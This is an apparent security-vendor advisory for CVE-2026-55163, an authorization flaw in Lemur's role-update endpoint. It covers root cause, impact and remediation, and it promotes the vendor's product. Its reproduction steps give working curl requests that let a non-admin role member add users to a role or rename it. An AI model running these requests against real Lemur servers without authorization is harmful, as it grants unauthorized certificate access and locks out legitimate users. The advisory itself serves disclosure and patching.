CVE-2026-55163 is a medium-severity incorrect authorization vulnerability in lemur (pip), affecting versions <= 1.9.1. It is fixed in 1.9.2.
Summary The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(roleid).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @adminpermission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice. Root Cause lemur/roles/views.py:298: lemur/auth/permissions.py:56: flaskprincipal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(roleid).can() returns True if the caller is either an admin or a member of roleid. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not. Affected Endpoints | Method | Path | Source | |---|---|---| | PUT | /api/1/roles/<id> | lemur/roles/views.py:298 | Impact A user who is a member of role X can: Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member. Remove other users from role X, denying their access (availability / governance impact). Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.isadmin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to. Remediation Add @adminpermission.require(httpexception=403) to Roles.put, mirroring the existing decorator on Roles.delete: If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path. Steps to Reproduce Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only. Authenticate as alice and capture the JWT: curl -X POST https://lemur.local/api/1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"<alicepw>"}' Confirm the initial state - bob is not a member of operator: curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <adminjwt>" # observe: alice present in users list, bob absent As alice, send a PUT that injects bob into the operator role: curl -X PUT https://lemur.local/api/1/roles/<operatorroleid> \ -H "Authorization: Bearer <alicejwt>" \ -H "Content-Type: application/json" \ -d '{ "name": "operator", "description": "modified by alice", "users": [{"id": <aliceid>}, {"id": <bobid>}] }' # observe: HTTP 200 Confirm bob is now a member of operator: curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <adminjwt>" # observe: bob now present in users list Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-55163 has a CVSS score of 6.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (1.9.2). Upgrading removes the vulnerable code path.
pip
lemur (<= 1.9.1)lemur → 1.9.2 (pip)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
Kodem's runtime-powered SCA identifies whether CVE-2026-55163 is reachable in your applications. Explore open-source security for your team.
See if CVE-2026-55163 is reachable in your applications. Get a demo
Already deployed Kodem? See CVE-2026-55163 in your environment →Upgrade lemur to 1.9.2 or later to resolve this vulnerability.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
CVE-2026-55163 is a medium-severity incorrect authorization vulnerability in lemur (pip), affecting versions <= 1.9.1. It is fixed in 1.9.2. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
CVE-2026-55163 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
lemur (pip) versions <= 1.9.1 is affected.
Yes. CVE-2026-55163 is fixed in 1.9.2. Upgrade to this version or later.
Whether CVE-2026-55163 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
Upgrade lemur to 1.9.2 or later.